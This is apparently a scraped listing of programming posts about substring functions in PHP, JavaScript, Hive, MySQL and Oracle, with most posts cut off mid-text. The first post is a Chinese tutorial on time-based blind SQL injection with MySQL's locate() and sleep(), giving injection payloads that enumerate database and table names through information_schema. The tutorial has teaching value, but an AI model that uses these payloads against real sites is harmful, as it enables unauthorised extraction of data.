substr

基于locate函数的的时间盲注 BY 马丁

让人想犯罪 __ 提交于 2019-12-28 03:57:51
1.在盲注中,字符串截取函数我们一般使用substr或者substring(两者一样),但是还有一个冷门函数locate函数可以截取实现盲注。 2.那么我们先来了解这个函数的用法,locate(substr,str,pos) 返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0。看下图。 3.由于这函数的用法,不能结合ascii或者ord来使用,只能结合if来使用,下面来操作一下。 a)先判断数据库长度 ?id=1' and length(database())=8 --+ b)再取数据库名称 ?id=1' and if((locate('s',database(),1))=1,sleep(5),0)--+ 其中这三个位置需要取遍历,更换s字符,后面就是n=n,直到遍历出数据库的名称。 c)再判断表的数量 ?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 d)再取表名,表字段,数据... ?id=1' and if((locate('m',(select table_name from information_schema.tables where table

Delete first 3 characters and last 3 characters from String PHP

a 夏天 提交于 2019-12-27 23:36:11
问题 I need to delete the first 3 letters of a string and the last 3 letters of a string. I know I can use substr() to start at a certain character but if I need to strip both first and last characters i'm not sure if I can actually use this. Any suggestions? 回答1: Pass a negative value as the length argument (the 3rd argument) to substr(), like: $result = substr($string, 3, -3); So this: <?php $string = "Sean Bright"; $string = substr($string, 3, -3); echo $string; ?> Outputs: n Bri 回答2: Use

js字符串方法

人盡茶涼 提交于 2019-12-27 16:32:46
文章目录 1. charAt 2. charAt 和下标取值的区别 3. charCodeAt 4. formCharCode 5. indexOf 6. substr 7. substring 8. slice 9. concat 10. replace 11. split 12. toLowerCase(),toUpperCase() 1. charAt 作用:返回指定位置的字符;索引从0开始 2. charAt 和下标取值的区别 charAt : 不存在时返回空字符串 下标取值:不存在是返回undefined 3. charCodeAt 作用:获取字符中对应索引的ASCII码值 字符对应ASCII码 0-9 ===> 48-57 A-Z ===> 65-90 a-z ===> 97-122 4. formCharCode 作用:获取ASCII码值对应的字符 5. indexOf 作用:查询字符索引,如果查询不到返回-1 6. substr 作用:截取字符串 使用:str.substr(start[,num]) 从索引1开始截取4个字符 从索引1开始截取所有字符 7. substring 作用:截取字符串 使用: str.substr(start[,end]) 截取4-1个字符 8. slice 作用:截取字符串; 与substring类似,支持负索引 9. concat 作用

hive字符串截取

爱⌒轻易说出口 提交于 2019-12-27 02:27:48
1.根据分割符截取 1.1 split函数 select split('a:f:c',':')[0], split('a:f:c',':')[2] 1.2 regexp_extract函数 select regexp_extract('a:f:c','(.*):(.*):(.*)',1), regexp_extract('a:f:c','(.*):(.*):(.*)',3) select regexp_extract('a:f:c','(.*):.*:.*'), regexp_extract('a:f:c','.*:.*:(.*)') 1.3 substr函数 select substr('a:f:c',0,1), substr('a:f:c',5,1) 注:split函数将字符串切分为字符串数组。所以数组的指标是从0开始。如果超过了数组的长度返回null。substr函数适合定长的字符串截取,如果起始位置超过了字符串长度返回的是空串。在实际中最好使用split函数,regexp_extract函数效率低,substr缺乏灵活性。 前段时间看mysql优化中like 'xx%'比substr(0,2)='xx'效率好,like可以使用mysql的索引,substr则是全表扫描。但是在hive却是相反,hive没有索引是对全部数据都执行相应的函数 2.截取字符之前的数据 2.1

PAT 1016. Phone Bills

人盡茶涼 提交于 2019-12-26 23:58:53
PAT 1016. Phone Bills A long-distance telephone company charges its customers by the following rules: Making a long-distance call costs a certain amount per minute, depending on the time of day when the call is made. When a customer starts connecting a long-distance call, the time will be recorded, and so will be the time when the customer hangs up the phone. Every calendar month, a bill is sent to the customer for each minute called (at a rate determined by the time of day). Your job is to prepare the bills for each month, given a set of phone call records. Input Specification: Each input

身份证验证php

走远了吗. 提交于 2019-12-26 19:08:07
/** * 验证身份证号 * @param $vStr * @return bool */ function isCreditNo( $vStr ) { $vCity = array ( '11' , '12' , '13' , '14' , '15' , '21' , '22' , '23' , '31' , '32' , '33' , '34' , '35' , '36' , '37' , '41' , '42' , '43' , '44' , '45' , '46' , '50' , '51' , '52' , '53' , '54' , '61' , '62' , '63' , '64' , '65' , '71' , '81' , '82' , '91' ); if (!preg_match( '/^([\d]{17}[xX\d]|[\d]{15})$/' , $vStr )) return false; if (!in_array( substr ( $vStr , 0, 2), $vCity )) return false; $vStr = preg_replace( '/[xX]$/i' , 'a' , $vStr ); $vLength = strlen ( $vStr ); if ( $vLength == 18) { $vBirthday = substr (

mysql的数据类型int、bigint、smallint 和 tinyint取值范围

荒凉一梦 提交于 2019-12-26 03:09:32
附录:(更新于2013-11-21) sql必知必会学习笔记: http://www.cnblogs.com/IPrograming/category/509859.html mysql 基本命令学习: http://blog.db89.org/the-mysql-the-basic-command/ 一、 mysql的字符串函数 对于针对字符串位置的操作,第一个位置被标记为1。 1.ASCII(str) 返回字符串 str 的最左面字符的ASCII代码值。 如果 str 是空字符串,返回 0 。如果 str 是 NULL ,返回 NULL 。 mysql> select ASCII('2'); -> 50 mysql> select ASCII(2); -> 50 mysql> select ASCII('dx'); -> 100 也可参见ORD()函数。 2.ORD(str) 如果字符串str最左面字符是一个多字节字符,通过以格式 ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code...] 返回字符的ASCII代码值来返回多字节字符代码。如果最左面的字符不是一个多字节字符。返回与 ASCII() 函数返回的相同值。 mysql> select ORD('2'); ->

Oracle易忘知识点记录

一个人想着一个人 提交于 2019-12-26 03:09:00
1、 SQL Select语句完整的执行顺序: ①from子句组装来自不同数据源的数据; ②where子句基于指定的条件对记录行进行筛选; ③group by子句将数据划分为多个分组; ④使用聚集函数进行计算; ⑤使用having子句筛选分组; ⑥计算所有的表达式; ⑦使用order by对结果集进行排序。 ⑧select 集合输出。 Having与Where的区别 * where 子句的作用是在对查询结果进行分组前,将不符合where条件的行去掉,即在分组之前过滤数据,where条件中不能包含聚组函数,使用where条件过滤出特定的行。 * having 子句的作用是筛选满足条件的组,即在分组之后过滤数据,条件中经常包含聚组函数,使用having 条件过滤出特定的组,也可以使用多个分组标准进行分组。 2、 创建索引(CREATE INDEX)时,将索引分配到专门的索引空间;对于有实时数据改变的表,需要在最后加上online关键字,就不会阻塞DML语句。 CREATE INDEX index_nm ON table_nm(col_nm) TABLESPACE tablespace_nm ONLINE; 3、其他 在sql脚本中创建存储过程时,存储过程部分代码结束后,在其下一行加一个反斜杠 / ,表示存储过程结束,防止oracle将下面的其他sql语句当成存储过程的一部分。

PHP: Special char becomes question mark icon in substring

有些话、适合烂在心里 提交于 2019-12-25 14:32:10
问题 I have a problem with a substring function. When a special char is the last char of the resulting substring (and only then!!!), this chars gets represented as an icon with a question mark in it. Here comes my code: $string = 'This is a string and when a German word with a special char like "Tür" appears and the special char ü is the last character of the substring it gets represented as an icon with question mark'; echo substr($string,0,102). "..."; Result: This is a string and when a German

PHP: Special char becomes question mark icon in substring

旧时模样 提交于 2019-12-25 14:31:46
问题 I have a problem with a substring function. When a special char is the last char of the resulting substring (and only then!!!), this chars gets represented as an icon with a question mark in it. Here comes my code: $string = 'This is a string and when a German word with a special char like "Tür" appears and the special char ü is the last character of the substring it gets represented as an icon with question mark'; echo substr($string,0,102). "..."; Result: This is a string and when a German